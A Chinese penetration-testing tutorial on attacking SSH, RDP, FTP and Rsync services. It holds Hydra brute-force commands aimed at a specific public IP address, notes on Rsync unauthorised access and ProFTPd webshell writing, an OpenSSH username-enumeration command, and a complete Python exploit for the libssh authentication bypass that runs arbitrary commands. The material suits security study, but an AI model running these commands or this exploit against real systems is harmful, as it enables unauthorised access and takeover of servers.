服务攻防-应用协议RsyncSSHRDPFTP漏洞批扫口令猜解

news2024/11/27 16:42:14

目录

测试思路

(一)口令猜解——SSH&RDP&FTP

Demo:

(二)配置不当-未授权访问-Rsync 文件备份

尝试读取src文件

(三)协议漏洞-应用软件-FTP&Proftpd 搭建

(四)协议漏洞-应用软件-SSH&libssh&Openssh

4.1 openSSL 心脏滴血漏洞

4.2 OpenSSH命令注入漏洞通告(CVE-2020-15778)

4.3 OpenSSH 用户名枚举漏洞(CVE-2018-15473)

4.4 libssh 认证绕过漏洞(CVE-2018-10933)


测试思路

应用服务安全测试流程:
  1. 判断服务开放情况-端口扫描&组合应用等
  2. 判断服务类型归属-数据库&文件传输&通讯等
  3. 判断服务利用方式-特定漏洞&未授权&弱口令等

(一)口令猜解——SSH&RDP&FTP


提到爆破,首先要用到Hydra,它是一个自动化的爆破工具,暴力破解弱密码,是一个支持众多协议的爆破工具,已经集成到 Kali Linux 中,直接在终端打开即可

  • -s PORT 可通过这个参数指定非默认端口。
  • -l LOGIN 指定破解的用户,对特定用户破解。
  • -L FILE 指定用户名字典。
  • -p PASS 小写,指定密码破解,少用,一般是采用密码字典。
  • -P FILE 大写,指定密码字典。
  • -e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
  • -C FILE 使用冒号分割格式,例如登录名:密码来代替-L/-P 参数。
  • -M FILE 指定目标列表文件一行一条。
  • -o FILE 指定结果输出文件。
  • -f 在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解。
  • -t TASKS 同时运行的线程数,默认为 16
  • -w TIME 设置最大超时的时间,单位秒,默认是 30s
  • -v / -V 显示详细过程。
  • server 目标 ip
service 指定服务名,支持的服务和协议: telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp 等等

Demo:

  • FTP——21:文件传输协议
  • RDP——3389:Windows 远程桌面协议
  • SSH——22Linux 安全外壳协议
hydra -L test -P 10top1K.txt 47.110.53.159 ftp -V
hydra -l root -P 10top1K.txt 47.110.53.159 ssh -V
hydra -l administrator -P 10top1K.txt 47.110.53.159 rdp -V

(二)配置不当-未授权访问-Rsync 文件备份


rsync Linux 下一款数据备份工具,支持通过 rsync 协议、 ssh 协议进行远程文件传输。其中 rsync 协议默认监听 873 端口,如果目标开启了 rsync 服务,并且没有配置 ACL 或访问密码,我们将可以读写目标服务器文件。

环境启动后,我们用rsync命令访问之:

rsync rsync://your-ip:873/

如果有图 2-1 回显,证明有未授权访问:

图 2-1 有src和src path回显

尝试读取src文件

图 2-2 src下的文件读取

  •  其他利用思路和Redis未授权访问一致,这里不再赘述

GitHub - wgpsec/fofa_viewer: 一个简单实用的FOFA客户端 By flashine

图 2-3 配置个人信息

把自己的个人信息填上即可扫描,还有要有balance,怎么弄懂的都懂。

(三)协议漏洞-应用软件-FTP&Proftpd 搭建


这先理清思路,如果我们在进行渗透测试的过程中有开放21是端口,可以尝试通过Hydra进行爆破,还有一个思路就是就看它FTP是用什么平台搭建的,例如使用Proftpd搭建的话,就可以利用Proftpd获取权限。

GitHub - t0kx/exploit-CVE-2015-3306: ProFTPd 1.3.5 - (mod_copy) Remote Command Execution exploit and vulnerable container

具体利用过程在上面写的很清楚,我们可以从源码中得知payload

图 3-1 该EXP的源码分析

 

可以看到通过参数cmd写入webShell,这里博主只提供思路,漏洞产生原理不再介绍。

(四)协议漏洞-应用软件-SSH&libssh&Openssh


4.1 openSSL 心脏滴血漏洞

OpenSSL心脏滴血漏洞(CVE-2014-0160)_bye_X的博客-CSDN博客_cve-2014-0160

危害当年比较大,现在用的少,不再具体展开。

4.2 OpenSSH命令注入漏洞通告(CVE-2020-15778)

这个漏洞要得到用户的uesrname和password,这个用户不能用SSH连接到服务器,最后反弹回来的shell也是已知用户权限,相对比较鸡助

OpenSSH 命令注入漏洞(CVE-2020-15778) - FreeBuf网络安全行业门户

OpenSSH命令注入漏洞通告(CVE-2020-15778) - FreeBuf网络安全行业门户

4.3 OpenSSH 用户名枚举漏洞(CVE-2018-15473)

OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中,可以当做信息收集。

漏洞复现

使用CVE-2018-15473-Exploit,枚举字典中的用户名:

python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt your-ip
图 4-1 爆破username的结果

 

4.4 libssh 认证绕过漏洞(CVE-2018-10933)

libssh 是一个在客户端和服务器端实现 SSHv2 协议的多平台 C 库。在 libssh 的服务器端状态机中发现了一个逻辑漏洞。攻击者可以MSG_USERAUTH_SUCCESS在认证成功之前发送消息。这样就可以绕过认证,访问目标SSH服务器

EXP:

参考https://www.seebug.org/vuldb/ssvid-97614中给出的POC ,我们可以使用如下脚本来证明该漏洞:

#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging

logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048


def execute(hostname, port, command):
    sock = socket.socket()
    try:
        sock.connect((hostname, int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        client = transport.open_session(timeout=10)
        client.exec_command(command)

        # stdin = client.makefile("wb", bufsize)
        stdout = client.makefile("rb", bufsize)
        stderr = client.makefile_stderr("rb", bufsize)

        output = stdout.read()
        error = stderr.read()

        stdout.close()
        stderr.close()

        return (output+error).decode()
    except paramiko.SSHException as e:
        logging.exception(e)
        logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
    except socket.error:
        logging.debug("Unable to connect.")

    return None


if __name__ == '__main__':
    print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))

您可以在目标服务器上执行任意命令,如下所示:

图 4-2 成功返回root权限

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/92053.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

音视频- iOS使用metal渲染图像(一)

概要 本文主要总结一下Metal的基本使用,用来渲染拍照的到的图像,其中涉及到的有UIKit中的MTKView,Metal中负责渲染的几个类,使用MSL(Metal Shading Language)编写着色器,最终将图片渲染出来…

Python 绘制极坐标图(玫瑰花图优化)

风速的玫瑰花图可见 Matlab 绘制风速、风向统计玫瑰花图 在今天的这边博文,选用Python工具,绘制玫瑰花图,并对图进行优化。 example 1 【不规则宽度】N = 20 theta = np.linspace(0.0,2*np.pi,N,endpoint=False)

Jmeter(十五):jmeter场景的运行方式(GUI运行和命令行运行)命令行相关参数

jmeter场景的运行方式(GUI运行和命令行运行) 运行方式: GUI运行:通过图形界面方式运行,该运行方式的可视化界面及监听器动态展示 结果都比较消耗负载机资源,建议大并发时不用,一般进行脚本调试; 命令行运…

【PTA-训练day17】L2-029 特立独行的幸福 + L1-071 前世档案

L2-029 特立独行的幸福 - 递归/模拟 判断素数 PTA | 程序设计类实验辅助教学平台 思路&#xff1a; 第一层循环是边界循环 for(int il;i<r;i)枚举每一个i 第二层循环是判断这个i是不是幸福数st数组 判定 i 这个数在迭代过程中是否出现循环 如果出现循环及时跳出比如&…

【TypeScript系列】【一篇就够】TypeScript知识点总结(二)

12 面向对象简介 简而言之&#xff0c;面向对象就是程序之中所有的操作都需要通过对象来完成。 举例来说&#xff0c; 操作浏览器要使用windows对象&#xff1b;操作网页要使用document对象&#xff1b;操作控制台要使用console对象。一切操作都要通过对象&#xff0c;也就是…

nacos--扩展--03--系统参数

nacos–扩展–03–系统参数 1、Nacos Server 配置参数位置&#xff1a;{nacos.home}/conf/application.properties里注意&#xff1a;如果参数名后标注了(-D)的&#xff0c;则表示是 JVM 的参数&#xff0c;需要在{nacos.home}/bin/startup.sh里进行相应的设置。 案例&#xf…

测试用例等级怎么划分?别再傻傻的一脸懵逼

我们都知道测试工程师最基本的能力便是编写测试用例&#xff0c;可是看似简单的用例&#xff0c;后面其实蕴含这个很多人忽略的细节&#xff0c;今天就来说测试里面所蕴含的很多细节。 很多时候不只是测试和测试用例息息相关&#xff0c;开发&#xff0c;产品也有的时候对于测试…

C/C++程序的断点调试 - CodeBlocks

本文以CodeBlocks为例&#xff0c;简述C/C程序断点调试的基本方法和过程。其它的IDE环境&#xff0c;大同小异。 本文引用自作者编写的下述图书; 本文允许以个人学习、教学等目的引用、讲授或转载&#xff0c;但需要注明原作者"海洋饼干叔 叔"&#xff1b;本文不允许…

单链表翻转-链表篇

leetcode206单链表的翻转 题目&#xff1a; 给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5] 输出&#xff1a;[5,4,3,2,1] 示例 2&#xff1a; 输入&#xff1a;head [1,2] 输出…

如何指定标签在页面中显示的位置

如何指定标签在页面中显示的位置 在HTML页面设计中常常需要调整标签&#xff08;元素&#xff09;的位置&#xff0c;那么&#xff0c;如何指定标签在页面中显示的位置呢&#xff1f; 使用标签的align属性指定标签在页面中显示的位置&#xff0c;如align"left|right|cen…

02加锁源码分析-ReentrantReadWriteLock原理-AQS-并发编程(Java)

文章目录3.1 加锁3.1.1 读锁加锁3.1.1.1 tryAcquireShared()3.1.1.2 readerShouldBlock()3.1.1.3 fullTryAcquireShared()3.1.1.4 doAcquireShared()3.1.2 写锁加锁3.1.2.1 tryAcquire()3.1.2.2 acquireQueued()3.2 加锁示意图3.2.1 先写锁在读锁3.2.2 先读锁在写锁后记3.1 加锁…

全网惟一面向软件测试人员的Python基础教程-Python数据类型中有那些故事呢?

全网惟一面向软件测试人员的Python基础教程 起点&#xff1a;《python软件测试实战宝典》介绍 第一章 为什么软件测试人员要学习Python 第二章 学Python之前要搞懂的道理 第三章 你知道Python代码是怎样运行的吗&#xff1f; 第四章 Python数据类型中有那些故事呢&#xff1f;…

PHP+Laravel框架RabbitMQ简单使用

RabbitMQ安装教程请转到&#xff1a;RabbitMQ安装教程&#xff08;超详细&#xff09; 1、创建生产者 在app/Http/Controllers里创建一个php控制器文件&#xff0c; namespace App\Http\Controllers;use App\Http\Controllers\Controller; //引入amqp扩展 use PhpAmqpLib\Co…

铁路轨道交通智慧管理系统

摘 要 随着信息技术和网络技术的飞速发展&#xff0c;人类已进入全新信息化时代&#xff0c;传统管理技术已无法高效&#xff0c;便捷地管理信息。为了迎合时代需求&#xff0c;优化管理效率&#xff0c;各种各样的管理系统应运而生&#xff0c;各行各业相继进入信息管理时代&…

sklearn基础篇(九)-- 主成分分析(PCA)

1 引言 降维是对数据高维度特征的一种预处理方法。降维是将高维度的数据保留下最重要的一些特征&#xff0c;去除噪声和不重要的特征&#xff0c;从而实现提升数据处理速度的目的。在实际的生产和应用中&#xff0c;降维在一定的信息损失范围内&#xff0c;可以为我们节省大量的…

机器学习项目中Xgboost深入理解(二)梯度及GB的理解

Xgboost 与 GBDT同源&#xff0c;那么所谓的梯度是什么意思呢&#xff1f;G、B又代表什么。 1. 梯度Gradient 梯度是一个向量&#xff08;矢量&#xff09;&#xff0c;表示梯度是方向导数在某一点的最大值。理解为某函数&#xff08;可以指损失函数&#xff09;在某点处的方…

Fluent后处理的色谱设置

PART 1 概述 对物理场的空间分布进行可视化展示&#xff0c;在科研、工程等领域是必不可少的环节。 将物理量不同数值赋予不同色彩&#xff0c;是一种很常见的物理场可视化方法。通过色彩的变化&#xff0c;即可识别物理量的分布规律。 物理量数值和颜色之间的对应关系称为色…

Linux常用指令

目录 1.1关于目录操作的指令 1.2文件操作的指令 1.3创建/删除目录操作 1.4目录/文件的移动/复制/改名 1.5 vim对文件进行编辑 1.1关于目录操作的指令 ls 列出当前目录下都有啥 ls 具体路径或 /注意中间含有一个空格&#xff0c;列出跟目录下或指定路径的内容 ls -l / 以列表的…

mysql日志篇

mysql日志篇1、Undo-log 撤销日志 Undo即撤销的意思&#xff0c;大家通常也习惯称它为回滚日志。如果大家有仔细研究过 MySQL 的日志&#xff0c;应该会发现 Undo-log 并不存在单独的日志文件&#xff0c;也就是磁盘中并不会存在 xx-undo.log 这类的文件&#xff0c;那 Undo-lo…

12个python超强学习网站

一、python学习网站 1 CSDN 地址&#xff1a; CSDN学院 特点&#xff1a;从免费视频到入门项目&#xff0c;从入门到进阶&#xff0c;学习视频应有尽有&#xff0c;还有Python学习社区&#xff0c;良好的学习和沟通氛围&#xff01; 2 Python123 地址&#xff1a;python123…